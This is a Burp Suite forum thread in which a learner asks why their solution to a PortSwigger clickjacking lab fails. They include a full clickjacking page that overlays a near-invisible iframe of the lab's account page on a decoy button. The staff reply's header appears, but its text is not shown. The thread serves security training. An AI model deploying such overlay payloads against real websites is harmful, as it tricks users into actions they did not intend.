The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

"Lab: Basic clickjacking with CSRF token protection", not working properly?

lozz | Last updated: Jun 18, 2024 02:08PM UTC

Sorry to bother, but I am really keen to know why does this lab not accept this as a valid answer. I just want to know what am i doing wrong. Thank you! :) ANSWER: <head> <style> #target_website { position:relative; width:128px; height:700px; opacity:0.0001; z-index:2; } #decoy_website { position:absolute; z-index:1; top: 530px; left: 32px; pointer-events: none; } </style> </head> <body> <div id="decoy_website"> <button>click</button> </div> <iframe id="target_website" src="https://LAB-ID.web-security-academy.net/my-account"> </iframe> </body>

Ben, PortSwigger Agent | Last updated: Jun 19, 2024 06:37AM UTC